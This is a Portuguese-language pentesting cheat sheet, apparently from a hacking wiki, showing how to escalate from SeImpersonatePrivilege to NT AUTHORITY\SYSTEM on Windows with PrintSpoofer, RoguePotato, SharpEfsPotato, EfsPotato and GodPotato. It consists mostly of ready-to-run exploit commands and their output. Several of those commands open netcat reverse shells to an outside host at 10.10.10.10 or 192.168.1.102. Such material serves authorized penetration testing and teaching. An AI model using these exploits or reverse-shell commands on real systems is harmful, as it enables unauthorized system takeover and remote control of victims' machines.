RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

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{% hint style="warning" %} JuicyPotato não funciona no Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** podem ser usados para aproveitar os mesmos privilégios e obter acesso ao nível NT AUTHORITY\SYSTEM. Este post de blog aprofunda-se na ferramenta PrintSpoofer, que pode ser usada para abusar de privilégios de impersonação em hosts Windows 10 e Server 2019 onde JuicyPotato não funciona mais. {% endhint %}

Demonstração Rápida

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

RoguePotato

{% code overflow="wrap" %}

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

{% endcode %}

SharpEfsPotato

> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

EfsPotato

> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

nt authority\system

GodPotato

> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

DCOMPotato

Referências